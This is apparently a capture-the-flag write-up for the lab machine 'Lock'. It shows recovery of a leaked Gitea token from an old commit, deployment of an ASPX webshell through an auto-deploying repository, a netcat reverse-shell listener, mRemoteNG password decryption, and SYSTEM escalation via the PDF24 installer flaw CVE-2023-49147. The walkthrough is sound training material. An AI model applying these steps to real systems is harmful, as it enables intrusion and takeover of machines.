Overview

Lock is an easy windows machine from VL created by xct & kozmer that starts off with discovering Gitea on port 3000, which lets me view an old commit which leaks the PAT (Personal Access Token) for one of the users on Gitea. I use the PAT to upload an aspx webshell onto the website for a shell as ellen.freeman. I find a config.xml file which contains a password that can be cracked via using mremoteng-decrypt, and I can login as gale.dekarios via RDP. I discover that PDF24 is on the machine, and I find a LPE CVE which I can use to get a shell as SYSTEM.

Nmap Scan

Scan

I’ll start by running nmap to discover open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
獣 ~/vl/Lock/scans/tcp ➜ nmap -sCV --top-ports 2000 -T4 -vvvv 10.10.120.85 -oA lock
Nmap scan report for 10.10.120.85
Host is up, received echo-reply ttl 127 (0.17s latency).
Scanned at 2024-10-29 03:03:01 EDT for 149s
Not shown: 1995 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Lock - Index
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds? syn-ack ttl 127
3000/tcp open ppp? syn-ack ttl 127
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=aabf7ff4a517425b; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=pdLYcjrydX1MvJnJa0qq-yTuyp46MTczMDE4NTQwMDE2NTMxNDYwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 29 Oct 2024 07:03:20 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjU
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=314de9418781e93c; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=isa3TosKT1mOzd2skJ6K44Dowc86MTczMDE4NTQwNjA4MjI4OTUwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 29 Oct 2024 07:03:26 GMT
|_ Content-Length: 0
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=Lock
| Issuer: commonName=Lock
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-28T06:50:32
| Not valid after: 2025-04-29T06:50:32
| MD5: 9fbe:d826:4b0c:9ce5:8a17:6329:43ec:d3ac
| SHA-1: 83c2:35ea:b45f:ace5:ceb7:eff3:1032:99f4:e31b:215d
| -----BEGIN CERTIFICATE-----
| MIICzDCCAbSgAwIBAgIQYz6nTrdZ8ItFoDxWb/jbAzANBgkqhkiG9w0BAQsFADAP
| MQ0wCwYDVQQDEwRMb2NrMB4XDTI0MTAyODA2NTAzMloXDTI1MDQyOTA2NTAzMlow
| DzENMAsGA1UEAxMETG9jazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
| AOFl+BmwNFBip2YY5y9Wn8mYHS844IcAIoNxSwU0iy+UsUJlN/fXZn1QLvWnEWI0
| wcKJTWXgmkMBFLW6Tn+vvnm+f74TNgBiBlJPIOpsiSr7rDBVft2oxYcrxDtT/0xt
| 3EGhUdzfAGoIH1EIuGPzsQBpHkXd8/qbdhpL4XiavVIH7qZpTyCBSmD1BcKUN7eX
| 7s/sh5Rckunnyq5JH8MaAaWlMoVICzAdZcotIJot29pbjiBXciDQh1tKYLXnJFIO
| RZ0117UY1REacUwTOU50KVB0R2wQl3Tlb/7mBAYL1yzShfhgh9PC9y60aDg/4DeG
| 2gtemAWYC4iR67VY5s1DSGECAwEAAaMkMCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEw
| CwYDVR0PBAQDAgQwMA0GCSqGSIb3DQEBCwUAA4IBAQAxrJcsD/fvsERIu/LYw2oD
| BNMD7//+FREqswTQ2kBhwdjkLCZ2KKwcPWXmNN7tvmGHuTlnM/7LxRktKYCcK5q7
| G5pll/M1mOF5caMr6GZRIpmd3YBXkuhcBBeDAiy+zP+sm5WvPgPw59/dzoYqLeeT
| MOAV1B1UBFJw3Ys0p0VnBA/M8+Iz5ETVnuPqBJ5Va9ABJVwOyQnkJffUY/lHkqk/
| Tq9zq8lJ9MgQUWaZF46ryuw/AQBpwumMkEPbZOqKVz5uiOtk4MpXG4l45E8KVjPr
| g5GGzrgjGeH5ITDjBrJiMQE+RIkgWCYIZZccOj7yCHqHc6d0/6dwdN/eY68T7qY1
|_-----END CERTIFICATE-----
|_ssl-date: 2024-10-29T07:05:27+00:00; -2s from scanner time.
| rdp-ntlm-info:
| Target_Name: LOCK
| NetBIOS_Domain_Name: LOCK
| NetBIOS_Computer_Name: LOCK
| DNS_Domain_Name: Lock
| DNS_Computer_Name: Lock
| Product_Version: 10.0.20348
|_ System_Time: 2024-10-29T07:04:48+00:00
5357/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-10-29T07:04:52
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 47741/tcp): CLEAN (Timeout)
| Check 2 (port 16034/tcp): CLEAN (Timeout)
| Check 3 (port 61038/udp): CLEAN (Timeout)
| Check 4 (port 10166/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 29 03:05:30 2024 -- 1 IP address (1 host up) scanned in 149.83 seconds

I can tell that this is windows because SMB is open, there is two HTTP ports which I’ll check out first.

Recon

HTTP - 80

Looking at the site on port 80, it just seems like an HTTP Template without any real functionality to abuse.

Image

HTTP - 3000 (Gitea)

Going to port 3000 presents Gitea, a platform for hosting open-source software and version control using Git.

Image

I can see the public repo’s without logging in, which shows me a dev-scripts repo created by ellen.freeman:

Image

Opening this repo presents one file, repos.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import sys
import os

def format_domain(domain):
if not domain.startswith(('http://', 'https://')):
domain = 'https://' + domain
return domain

def get_repositories(token, domain):
headers = {
'Authorization': f'token {token}'
}
url = f'{domain}/api/v1/user/repos'
response = requests.get(url, headers=headers)

if response.status_code == 200:
return response.json()
else:
raise Exception(f'Failed to retrieve repositories: {response.status_code}')

def main():
if len(sys.argv) < 2:
print("Usage: python script.py <gitea_domain>")
sys.exit(1)

gitea_domain = format_domain(sys.argv[1])

personal_access_token = os.getenv('GITEA_ACCESS_TOKEN')
if not personal_access_token:
print("Error: GITEA_ACCESS_TOKEN environment variable not set.")
sys.exit(1)

try:
repos = get_repositories(personal_access_token, gitea_domain)
print("Repositories:")
for repo in repos:
print(f"- {repo['full_name']}")
except Exception as e:
print(f"Error: {e}")

if __name__ == "__main__":
main()

This script uses the GITEA_ACCESS_TOKEN env variable to authenticate to the Gitea API to view the repo’s for our current user. The script expects a token to presented in the env variable but I don’t have a token.

SMB - 445

Trying to authenticate as the Guest user fails:

1
2
3
獣 ~/vl/Lock/enumeration ➜ nxc smb 10.10.120.85 -u Guest -p '' --shares
SMB 10.10.120.85 445 LOCK [*] Windows Server 2022 Build 20348 (name:LOCK) (domain:Lock) (signing:False) (SMBv1:False)
SMB 10.10.120.85 445 LOCK [-] Lock\Guest: STATUS_ACCOUNT_DISABLED

Without authentication, I can’t really do anything in SMB.

Shell as ellen.freeman

Getting The Access Token

I can see that the ellen.freeman/dev-scripts repo has an old commit named Add repos.py, which was changed in the newest commit, Update repos.py. This old commit shows a different version of the repos.py script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import sys

# store this in env instead at some point
PERSONAL_ACCESS_TOKEN = '<redacted>'

def format_domain(domain):
if not domain.startswith(('http://', 'https://')):
domain = 'https://' + domain
return domain

def get_repositories(token, domain):
headers = {
'Authorization': f'token {token}'
}
url = f'{domain}/api/v1/user/repos'
response = requests.get(url, headers=headers)

if response.status_code == 200:
return response.json()
else:
raise Exception(f'Failed to retrieve repositories: {response.status_code}')

def main():
if len(sys.argv) < 2:
print("Usage: python script.py <gitea_domain>")
sys.exit(1)

gitea_domain = format_domain(sys.argv[1])

try:
repos = get_repositories(PERSONAL_ACCESS_TOKEN, gitea_domain)
print("Repositories:")
for repo in repos:
print(f"- {repo['full_name']}")
except Exception as e:
print(f"Error: {e}")

if __name__ == "__main__":
main()

I can see that this is a version of the script that hardcoded the token. Based off the comment in the script, this was only temporary as the token ended up going in an env variable instead.

Pushing A Webshell

Running the old version of the repos.py script shows me two repo’s:

1
2
3
4
獣 ~/vl/Lock/enumeration ➜ python3 repos.py http://10.10.120.85:3000
Repositories:
- ellen.freeman/dev-scripts
- ellen.freeman/website

The first repo (dev-scripts) I’ve already checked out, but there is another repo, website. This is a private repo which is why I couldn’t see it without the token, I’ll use the token to clone this repo:

1
2
3
4
5
6
7
8
9
10
11
獣 ~/vl/Lock/enumeration ➜ git clone http://<redacted>@10.10.120.85:3000/ellen.freeman/website.git
Cloning into 'website'...
remote: Enumerating objects: 168, done.
remote: Counting objects: 100% (168/168), done.
remote: Compressing objects: 100% (131/131), done.
remote: Total 168 (delta 36), reused 153 (delta 31), pack-reused 0
Receiving objects: 100% (168/168), 7.16 MiB | 1.69 MiB/s, done.
Resolving deltas: 100% (36/36), done.
獣 ~/vl/Lock/enumeration ➜ cd website
獣 ~/vl/Lock/enumeration/website ➜ ls
assets changelog.txt index.html readme.md

Seems like the source code for the website that was on port 80, I’ll read the readme.md file:

1
2
3
# New Project Website

CI/CD integration is now active - changes to the repository will automatically be deployed to the webserver

Seems like any files that are pushed to the website repo will be automatically deployed to the website on port 80. I’ll abuse this by pushing an .asxp webshell via git:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
獣 ~/vl/Lock/enumeration/website ➜ git add webshell.aspx
獣 ~/vl/Lock/enumeration/website ➜ git commit -m "Add webshell.aspx for testing"
[main 8627427] Add webshell.aspx for testing
1 file changed, 161 insertions(+)
create mode 100644 webshell.aspx
獣 ~/vl/Lock/enumeration/website ➜ git push http://<redacted>@10.10.120.85:3000/ellen.freeman/website.git
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (2/2), 247 bytes | 247.00 KiB/s, done.
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0 (from 0)
remote: . Processing 1 references
remote: Processed 1 references in total
To http://10.10.120.85:3000/ellen.freeman/website.git
2225157..8627427 main -> main

Now that it has been uploaded, I just have to wait a minute or two and the webshell is accessible:

Image

Shell

I’ll use a payload from revshells to get a shell:

1
2
3
4
5
6
獣 ~/vl/Lock/enumeration ➜ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.2.234] from (UNKNOWN) [10.10.120.85] 49786

PS C:\inetpub\wwwroot> whoami
lock\ellen.freeman

Shell as gale.dekarios

Enum

I’ll check out my home dir:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS C:\users\ellen.freeman> ls


Directory: C:\users\ellen.freeman


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/27/2023 11:11 AM .ssh
d-r--- 12/28/2023 5:58 AM 3D Objects
d-r--- 12/28/2023 5:58 AM Contacts
d-r--- 12/28/2023 6:11 AM Desktop
d-r--- 12/28/2023 5:59 AM Documents
d-r--- 12/28/2023 5:58 AM Downloads
d-r--- 12/28/2023 5:58 AM Favorites
d-r--- 12/28/2023 5:58 AM Links
d-r--- 12/28/2023 5:58 AM Music
d-r--- 12/28/2023 5:58 AM Pictures
d-r--- 12/28/2023 5:58 AM Saved Games
d-r--- 12/28/2023 5:58 AM Searches
d-r--- 12/28/2023 5:58 AM Videos
-a---- 12/28/2023 11:38 AM 52 .git-credentials
-a---- 12/28/2023 11:35 AM 158 .gitconfig

I can see .git-credentials which contains creds for Gitea:

1
2
PS C:\users\ellen.freeman> cat .git-credentials
http://ellen.freeman:<redacted>@localhost:3000

But these don’t work for anything besides Gitea, I also found a config.xml file in my Documents folder, which I’ll use in the next step.

Using mRemoteNG Decrypt

I found a tool online which lets me crack the password that is in this XML file:

1
2
3
4
獣 ~/vl/Lock/enumeration/mremoteng-decrypt ➜ python3 mremoteng_decrypt.py -rf config.xml
Username: Gale.Dekarios
Hostname: Lock
Password: <redacted>

RDP as Gale.Dekarios

Using the credentaisl, I can RDP as Gale.Dekarios using xfreerdp:

1
獣 ~/vl/Lock/enumeration/mremoteng-decrypt ➜ xfreerdp /u:gale.dekarios /p:'<redacted>' /v:10.10.120.85

With an RDP session, I can open PowerShell for an actual shell:

Image

Shell as SYSTEM

Finding The PDF24 CVE

I can see that PDF24 is installed, which is a project by the German software company Geek Software GmbH that offers free tools for working with PDF files. I’ll search for PDF24 exploits on Google:

Image

I can see CVE-2023-49147 which is a privilege escalation vulnerability in the MSI installer of PDF24. Reading up on an article, I get some steps on how to exploit this:

  • right click on the top bar of the cmd window
  • click on properties
  • under options click on the “Legacyconsolemode” link
  • open the link with a browser other than internet explorer or edge (both don’t open as SYSTEM when on Win11)
  • in the opened browser window press the key combination CTRL+o
  • type cmd.exe in the top bar and press Enter

cmd.exe As SYSTEM

There’s two commands that I’ll use, the first one triggers the install:

1
msiexec.exe /fa <msi_installer_path>

And the second command sets an OpLock on a log file that the installer uses:

1
SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r

To exploit this vulnerability I need to have an MSI Installer file (.msi). Looking in C:\Windows\Installer I find a few .msi files:

1
2
3
4
5
6
7
8
9
10
PS C:\windows\installer> ls | findstr ".msi"
-a---- 12/28/2023 5:39 AM 43593728 33e93.msi
-a---- 12/14/2023 10:07 AM 462602240 47192.msi
-a---- 12/17/2023 8:59 PM 6012928 6ff3.msi
-a---- 12/6/2023 1:04 AM 33140736 6ff7.msi
-a---- 3/26/2022 9:26 PM 184320 b01f1.msi
-a---- 3/26/2022 9:29 PM 184320 b01f5.msi
-a---- 3/26/2022 9:36 PM 184320 b01f9.msi
-a---- 3/26/2022 9:39 PM 184320 b01fd.msi
-a---- 12/27/2023 10:26 AM 42455040 b0200.msi

Using msiexec.exe, I can identify the PDF24 Installer, which is 47192.msi:

Image

Now that I know the installer file path, I just need to put SetOpLock.exe onto the machine, which I can find here. I’ll upload this to the machine using curl and I’ll run the installer and set an OpLock on the log file:

Image

I can right click on this cmd prompt and I’ll click on Properties and I can see the legacy console:

Image

I’ll enable legacy console and I’ll open legacy console, the program gives me three options of where to open it:

  • Microsoft Edge
  • Internet Explorer
  • FireFox

Seeing as how only FireFox will run as SYSTEM, I’ll choose FireFox. Now I need to open File Explorer, so I’ll just do CTRL+S and I’ll type cmd.exe to get a shell as SYSTEM:

Image

Thoughts

Lock was easily one of my favorite VL machines, I really liked exploiting the PDF24 MSI Installer and breaking out of FireFox by popping File Explorer. I did find that sometimes pushing the webshell to Gitea didn’t work, if that happens just reset the machine.